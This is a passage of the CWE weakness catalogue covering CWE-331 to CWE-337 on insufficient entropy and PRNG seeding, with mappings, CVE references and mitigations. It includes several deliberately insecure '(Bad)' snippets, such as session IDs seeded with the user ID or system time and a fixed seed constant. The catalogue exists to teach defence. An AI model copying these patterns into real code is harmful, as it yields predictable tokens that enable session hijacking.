As of CWE 4.3, CWE-330 and its descendants are being investigated by the CWE crypto team to identify gaps related to randomness and unpredictability, as well as the relationships between randomness and cryptographic primitives. This "subtree analysis" might result in the addition or deprecation of existing entries; the reorganization of relationships in some views, e.g. the research view (CWE-1000); more consistent use of terminology; and/or significant modifications to related entries.

### Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Randomness and Predictability
7 Pernicious Kingdoms			Insecure Randomness

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
CERT C Secure Coding	CON33-C	Imprecise	Avoid race conditions when using library functions
CERT C Secure Coding	MSC30-C	CWE More Abstract	Do not use the rand() function for generating pseudorandom numbers
CERT C Secure Coding	MSC32-C	CWE More Abstract	Properly seed pseudorandom number generators
WASC	11		Brute Force
WASC	18		Credential/Session Prediction
The CERT Oracle Secure Coding Standard for Java (2011)	MSC02-J		Generate strong random numbers

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
59	Session Credential Falsification through Prediction
112	Brute Force
485	Signature Spoofing by Key Recreation

### References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

[REF-207]John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. 2002. Addison-Wesley.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-331: Insufficient Entropy

**Weakness ID** : 331  
**Structure** : Simple  
**Abstraction** : Base




### Description

The product uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		330	Use of Insufficiently Random Values	772
ParentOf		332	Insufficient Entropy in PRNG	781
ParentOf		333	Improper Handling of Insufficient Entropy in TRNG	783



*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		330	Use of Insufficiently Random Values	772

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1213	Random Number Issues	2270
MemberOf		310	Cryptographic Issues	2111

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Other	Other	
<p><i>An attacker could guess the random numbers generated and could gain unauthorized access to a system if the random numbers are used for authentication and authorization.</i></p>		

### Potential Mitigations

#### Phase: Implementation

Determine the necessary entropy to adequately provide for randomness and predictability. This can be achieved by increasing the number of bits of objects such as keys and seeds.

### Demonstrative Examples

#### Example 1:

This code generates a unique random identifier for a user's session.

*Example Language: PHP*

*(Bad)*

```
function generateSessionID($userID){
    srand($userID);
    return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).

#### Example 2:

The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

*Example Language: Java*

*(Bad)*

```
String GenerateReceiptURL(String baseUrl) {
    Random ranGen = new Random();
    ranGen.setSeed((new Date()).getTime());
    return(baseUrl + ranGen.nextInt(400000000) + ".html");
}
```

```
}

```

This code uses the `Random.nextInt()` function to generate "unique" identifiers for the receipt pages it generates. Because `Random.nextInt()` is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

### Observed Examples

Reference	Description
<b>CVE-2001-0950</b>	Insufficiently random data used to generate session tokens using <code>C.rand()</code> . Also, for certificate/key generation, uses a source that does not block when entropy is low. <i><a href="https://www.cve.org/CVERecord?id=CVE-2001-0950">https://www.cve.org/CVERecord?id=CVE-2001-0950</a></i>
<b>CVE-2008-2108</b>	Chain: insufficient precision (CWE-1339) in random-number generator causes some zero bits to be reliably generated, reducing the amount of entropy (CWE-331) <i><a href="https://www.cve.org/CVERecord?id=CVE-2008-2108">https://www.cve.org/CVERecord?id=CVE-2008-2108</a></i>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	905	SFP Primary Cluster: Predictability	888	2181
MemberOf	C	1170	SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)	1154	2256
MemberOf	C	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

### Notes

#### Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insufficient Entropy
WASC	11		Brute Force
CERT C Secure Coding	MSC32-C	Exact	Properly seed pseudorandom number generators

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
59	Session Credential Falsification through Prediction

### References

[REF-207]John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. 2002. Addison-Wesley.

## CWE-332: Insufficient Entropy in PRNG

**Weakness ID** : 332  
**Structure** : Simple  
**Abstraction** : Variant

### Description

The lack of entropy available for, or used by, a Pseudo-Random Number Generator (PRNG) can be a stability and security threat.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		331	Insufficient Entropy	778

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart  <i>If a pseudo-random number generator is using a limited entropy source which runs out (if the generator fails closed), the program may pause or crash.</i>	
Access Control Other	Bypass Protection Mechanism Other  <i>If a PRNG is using a limited entropy source which runs out, and the generator fails open, the generator could produce predictable random numbers. Potentially a weak source of random numbers could weaken the encryption method used for authentication of users.</i>	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Requirements**

*Strategy = Libraries or Frameworks*

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").



**Phase: Implementation**

Consider a PRNG that re-seeds itself as needed from high-quality pseudo-random output, such as hardware devices.

**Phase: Architecture and Design**

When deciding which PRNG to use, look at its sources of entropy. Depending on what your security needs are, you may need to use a random number generator that always uses strong random data -- i.e., a random number generator that attempts to be strong but will fail in a weak way or will always provide some middle ground of protection through techniques like re-seeding. Generally, something that always provides a predictable amount of strength is preferable.

**Observed Examples**

Reference	Description
<b>CVE-2019-1715</b>	security product has insufficient entropy in the DRBG, allowing collisions and private key discovery <a href="https://www.cve.org/CVERecord?id=CVE-2019-1715">https://www.cve.org/CVERecord?id=CVE-2019-1715</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	2163
MemberOf	C	905	SFP Primary Cluster: Predictability	888	2181
MemberOf	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	2246

**Notes****Maintenance**

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Insufficient entropy in PRNG
The CERT Oracle Secure Coding Standard for Java (2011)	MSC02-J		Generate strong random numbers

**References**

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-333: Improper Handling of Insufficient Entropy in TRNG

**Weakness ID** : 333  
**Structure** : Simple  
**Abstraction** : Variant

### Description

True random number generators (TRNG) generally have a limited source of entropy and therefore can fail or block.

### Extended Description

The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1433
ChildOf	Ⓔ	331	Insufficient Entropy	778

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	Ⓒ	1013	Encrypt Data	2221

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart  <i>A program may crash or block if it runs out of random numbers.</i>	

### Potential Mitigations

#### Phase: Implementation

Rather than failing on a lack of random numbers, it is often preferable to wait for more numbers to be created.

### Demonstrative Examples

#### Example 1:

This code uses a TRNG to generate a unique session id for new connections to a server:

*Example Language: C*

*(Bad)*

```
while (1){
    if (haveNewConnection()){
        if (hwRandom()){
            int sessionID = hwRandom();
            createNewConnection(sessionID);
        }
    }
}
```

```
}}}
```

This code does not attempt to limit the number of new connections or make sure the TRNG can successfully generate a new random number. An attacker may be able to create many new connections and exhaust the entropy of the TRNG. The TRNG may then block and cause the program to crash or hang.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	2163
MemberOf	C	905	SFP Primary Cluster: Predictability	888	2181

### Notes

#### Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure of TRNG
The CERT Oracle Secure Coding Standard for Java (2011)	MSC02-J		Generate strong random numbers

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-334: Small Space of Random Values

**Weakness ID** : 334

**Structure** : Simple

**Abstraction** : Base

### Description

The number of possible random values is smaller than needed by the product, making it more susceptible to brute force attacks.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		330	Use of Insufficiently Random Values	772
ParentOf		6	J2EE Misconfiguration: Insufficient Session-ID Length	2

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1213	Random Number Issues	2270
MemberOf		310	Cryptographic Issues	2111

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Other	Other	
<i>An attacker could easily guess the values used. This could lead to unauthorized access to a system if the seed is used for authentication and authorization.</i>		

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Requirements**

*Strategy = Libraries or Frameworks*

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

### Demonstrative Examples

#### Example 1:

The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.

*Example Language: XML*

*(Bad)*

```
<sun-web-app>
...
<session-config>
  <session-properties>
    <property name="idLengthBytes" value="8">
      <description>The number of bytes in this web module's session ID.</description>
    </property>
  </session-properties>
</session-config>
...
</sun-web-app>
```

This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session.

Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server documentation for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.

### Observed Examples

Reference	Description
<b>CVE-2002-0583</b>	Product uses 5 alphanumeric characters for filenames of expense claim reports, stored under web root. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0583">https://www.cve.org/CVERecord?id=CVE-2002-0583</a>
<b>CVE-2002-0903</b>	Product uses small number of random numbers for a code to approve an action, and also uses predictable new user IDs, allowing attackers to hijack new accounts. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0903">https://www.cve.org/CVERecord?id=CVE-2002-0903</a>
<b>CVE-2003-1230</b>	SYN cookies implementation only uses 32-bit keys, making it easier to brute force ISN. <a href="https://www.cve.org/CVERecord?id=CVE-2003-1230">https://www.cve.org/CVERecord?id=CVE-2003-1230</a>
<b>CVE-2004-0230</b>	Complex predictability / randomness (reduced space). <a href="https://www.cve.org/CVERecord?id=CVE-2004-0230">https://www.cve.org/CVERecord?id=CVE-2004-0230</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	905	SFP Primary Cluster: Predictability	888	2181

### Notes

#### Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Small Space of Random Values

### References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)

**Weakness ID** : 335**Structure** : Simple**Abstraction** : Base

## Description

The product uses a Pseudo-Random Number Generator (PRNG) but does not correctly manage seeds.

## Extended Description

PRNGs are deterministic and, while their output appears random, they cannot actually create entropy. They rely on cryptographically secure and unique seeds for entropy so proper seeding is critical to the secure operation of the PRNG.

Management of seeds could be broken down into two main areas:

- (1) protecting seeds as cryptographic material (such as a cryptographic key);
- (2) whenever possible, using a uniquely generated seed from a cryptographically secure source





PRNGs require a seed as input to generate a stream of numbers that are functionally indistinguishable from random numbers. While the output is, in many cases, sufficient for cryptographic uses, the output of any PRNG is directly determined by the seed provided as input. If the seed can be ascertained by a third party, the entire output of the PRNG can be made known to them. As such, the seed should be kept secret and should ideally not be able to be guessed. For example, the current time may be a poor seed. Knowing the approximate time the PRNG was seeded greatly reduces the possible key space.

Seeds do not necessarily need to be unique, but reusing seeds may open up attacks if the seed is discovered.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		330	Use of Insufficiently Random Values	772
ParentOf		336	Same Seed in Pseudo-Random Number Generator (PRNG)	789
ParentOf		337	Predictable Seed in Pseudo-Random Number Generator (PRNG)	791
ParentOf		339	Small Seed Space in PRNG	796

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		330	Use of Insufficiently Random Values	772

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1213	Random Number Issues	2270
MemberOf	<b>C</b>	310	Cryptographic Issues	2111

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Other	Other	
<p><i>If a PRNG is used incorrectly, such as using the same seed for each initialization or using a predictable seed, then an attacker may be able to easily guess the seed and thus the random numbers. This could lead to unauthorized access to a system if the seed is used for authentication and authorization.</i></p>		

### Observed Examples

Reference	Description
<b>CVE-2020-7010</b>	Cloud application on Kubernetes generates passwords using a weak random number generator based on deployment time. <a href="https://www.cve.org/CVERecord?id=CVE-2020-7010">https://www.cve.org/CVERecord?id=CVE-2020-7010</a>
<b>CVE-2019-11495</b>	server uses erlang:now() to seed the PRNG, which results in a small search space for potential random seeds <a href="https://www.cve.org/CVERecord?id=CVE-2019-11495">https://www.cve.org/CVERecord?id=CVE-2019-11495</a>
<b>CVE-2018-12520</b>	Product's PRNG is not seeded for the generation of session IDs <a href="https://www.cve.org/CVERecord?id=CVE-2018-12520">https://www.cve.org/CVERecord?id=CVE-2018-12520</a>
<b>CVE-2016-10180</b>	Router's PIN generation is based on rand(time(0)) seeding. <a href="https://www.cve.org/CVERecord?id=CVE-2016-10180">https://www.cve.org/CVERecord?id=CVE-2016-10180</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<b>V</b>	Page
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	905	SFP Primary Cluster: Predictability	888	2181
MemberOf	<b>C</b>	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

### Notes

#### Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			PRNG Seed Error



## References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG)

**Weakness ID** : 336

**Structure** : Simple

**Abstraction** : Variant

### Description

A Pseudo-Random Number Generator (PRNG) uses the same seed each time the product is initialized.


### Extended Description

Given the deterministic nature of PRNGs, using the same seed for each initialization will lead to the same output in the same order. If an attacker can guess (or knows) the seed, then the attacker may be able to determine the random numbers that will be produced from the PRNG.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	786

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Other	
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Architecture and Design

Do not reuse PRNG seeds. Consider a PRNG that periodically re-seeds itself as needed from a high quality pseudo-random output, such as hardware devices.

#### Phase: Architecture and Design

#### Phase: Requirements

*Strategy = Libraries or Frameworks*

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems, or use the more recent FIPS 140-3 [REF-1192] if possible.

### Demonstrative Examples

**Example 1:**

The following code uses a statistical PRNG to generate account IDs.

*Example Language: Java*

*(Bad)*

```
private static final long SEED = 1234567890;
public int generateAccountID() {
    Random random = new Random(SEED);
    return random.nextInt();
}
```

Because the program uses the same seed value for every invocation of the PRNG, its values are predictable, making the system vulnerable to attack.

**Example 2:**

This code attempts to generate a unique random identifier for a user's session.

*Example Language: PHP*

*(Bad)*

```
function generateSessionID($userID){
    srand($userID);
    return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

If the user IDs are generated sequentially, or otherwise restricted to a narrow range of values, then this example also exhibits a Small Seed Space (CWE-339).

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	2163
MemberOf		905	SFP Primary Cluster: Predictability	888	2181
MemberOf		1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	2246
MemberOf		1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

**Notes****Maintenance**

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Same Seed in PRNG

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MSC02-J		Generate strong random numbers

## References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

[REF-1192]Information Technology Laboratory, National Institute of Standards and Technology. "FIPS PUB 140-3: SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2019 March 2. < <https://csrc.nist.gov/publications/detail/fips/140/3/final> >.

## CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)

**Weakness ID** : 337

**Structure** : Simple

**Abstraction** : Variant

### Description

A Pseudo-Random Number Generator (PRNG) is initialized from a predictable seed, such as the process ID or system time.

### Extended Description

The use of predictable seeds significantly reduces the number of possible seeds that an attacker would need to test in order to predict which random numbers will be generated by the PRNG.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	786

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### Potential Mitigations

Use non-predictable inputs for seed generation.

**Phase: Architecture and Design**

**Phase: Requirements**

*Strategy = Libraries or Frameworks*

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems, or use the more recent FIPS 140-3 [REF-1192] if possible.

### Phase: Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

### Demonstrative Examples

#### Example 1:

Both of these examples use a statistical PRNG seeded with the current value of the system clock to generate a random number:

*Example Language: Java*

*(Bad)*

```
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();
```

*Example Language: C*

*(Bad)*

```
srand(time());
int randNum = rand();
```

An attacker can easily predict the seed used by these PRNGs, and so also predict the stream of random numbers generated. Note these examples also exhibit CWE-338 (Use of Cryptographically Weak PRNG).

### Observed Examples

Reference	Description
<b>CVE-2020-7010</b>	Cloud application on Kubernetes generates passwords using a weak random number generator based on deployment time. <a href="https://www.cve.org/CVERecord?id=CVE-2020-7010">https://www.cve.org/CVERecord?id=CVE-2020-7010</a>
<b>CVE-2019-11495</b>	server uses erlang:now() to seed the PRNG, which results in a small search space for potential random seeds <a href="https://www.cve.org/CVERecord?id=CVE-2019-11495">https://www.cve.org/CVERecord?id=CVE-2019-11495</a>
<b>CVE-2008-0166</b>	The removal of a couple lines of code caused Debian's OpenSSL Package to only use the current process ID for seeding a PRNG <a href="https://www.cve.org/CVERecord?id=CVE-2008-0166">https://www.cve.org/CVERecord?id=CVE-2008-0166</a>
<b>CVE-2016-10180</b>	Router's PIN generation is based on rand(time(0)) seeding. <a href="https://www.cve.org/CVERecord?id=CVE-2016-10180">https://www.cve.org/CVERecord?id=CVE-2016-10180</a>
<b>CVE-2018-9057</b>	cloud provider product uses a non-cryptographically secure PRNG and seeds it with the current time <a href="https://www.cve.org/CVERecord?id=CVE-2018-9057">https://www.cve.org/CVERecord?id=CVE-2018-9057</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	2163
MemberOf	<b>C</b>	905	SFP Primary Cluster: Predictability	888	2181
MemberOf	<b>C</b>	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	2246

Nature	Type	ID	Name	V	Page
MemberOf	C	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

## Notes

### Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Predictable Seed in PRNG
The CERT Oracle Secure Coding Standard for Java (2011)	MSC02-J		Generate strong random numbers

## References

